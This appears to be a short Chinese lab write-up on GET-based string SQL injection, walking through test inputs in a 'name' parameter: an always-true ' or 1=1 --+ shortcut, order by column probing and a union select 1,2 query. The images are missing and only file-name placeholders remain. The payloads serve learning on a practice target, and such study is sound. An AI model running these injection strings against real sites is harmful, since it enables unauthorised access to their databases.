JZTXT

字符型注入（get）

发布时间 2023-05-06 11:10:15作者: 我用歌声寻觅你

截图.png

在查询栏输入1，点击查询获得查询格式

?name=1'&submit=查询

截图.png

*捷径 ' or 1=1 --+

截图.png

*非捷径

?name=1' and 1=2 --+ 2--+&submit=查询

用不了，直接查

?name=1' order by 2--+&submit=查询

?name=1' union select 1,2 --+&submit=查询